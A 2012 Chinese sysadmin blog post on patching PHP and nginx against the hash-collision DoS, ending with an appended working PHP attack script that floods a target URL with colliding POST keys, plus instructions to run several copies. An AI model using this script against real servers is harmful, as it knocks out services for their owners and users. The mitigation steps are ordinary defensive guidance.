php hashdos攻击解决方法
Author:gaojinbo
Time:2012-2-14
Email:admin@gaojinbo.com
这个漏洞出来好几个月了,今天总监axing jira了一个任务才得知,测试了一下,通过一个简单的php文件即可让你的服务器CPU 100%,非常可怕。影响版本php 5.3.2以前,所以大家要尽快升级服务器处理。
环境:
ubuntu 10.04
php5.3.2
nginx1.0.12
解决方法有2种:
一.升级php打补丁
二.安装nginx hsshdos模块
方法一:
1)采用php-cgi 的系统
apt-get update apt-get install php5-cgi php5-cli
(只更新php 相关,如果服务器繁忙,可以先停止nginx php5-fpm)
升级验证:
php5-cgi -i|grep max_input_vars
如果全局和本地值是1000 说明OK,然后重启php-cgi 服务
2)采用php-fpm 的系统
sudo apt-get install php5-suhosin sudo sed -i "s/;suhosin\.post\.max_vars/suhosin\.post\.max_vars/" /etc/php5/fpm/conf.d/suhosin.ini grep suhosin.post.max_vars /etc/php5/fpm/conf.d/suhosin.ini sudo /etc/init.d/php5-fpm restart
输出是:
suhosin.post.max_vars = 1000 #限制最多有1000个POST参数
方法二:
1)下载hashdos模块,重新编译nginx
https://github.com/54chen/nginx-http-hashdos-module cd wget wget https://nodeload.github.com/54chen/nginx-http-hashdos-module/tarball/master tar xvzf master cd nginx1.0.12 ./configure --user=www-data --group=www-data --prefix=/usr/local/nginx \ --with-http_stub_status_module --with-http_gzip_static_module \ --with-http_sub_module --add-module=/root/54chen-nginx-http-hashdos-module-f84d909/
2)修改nginx
vi nginx.conf #在http区域添加下面4行 hashdos on; body_max_count 1000; client_max_body_size 10m; client_body_buffer_size 10m;
注意事项,如果是上传服务器client_max_body_size为100M以上,建议使用方法一
因为计算参数都在内存中进行,所以client_body_buffer_size 与 client_max_body_size 的值一定要相等。推荐2m。
重启nginx
附:
PHP的hash漏洞DDoS攻击脚本,请勿用于非法行为
vi dos.php
<?php
// 目标地址
// 只要目标地址存在,不用管它是干嘛的
// 不要攻击我哦^_^,服务器已打补丁
$host = 'http://www.gaojinbo.com/index.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
$data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&'));
var_dump($ret);
function curl($url, $post, $timeout = 30){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
$http_code = $info['http_code'];
if ($http_code == 404) return false;
curl_close($ch);
return $output;
}
?>
执行:
php dos.php
如果没打补丁,CPU很快就会100%,可以执行多个php dos.php
完成!
Linux主机 PHP主机 Nginx主机 双线Linux服务器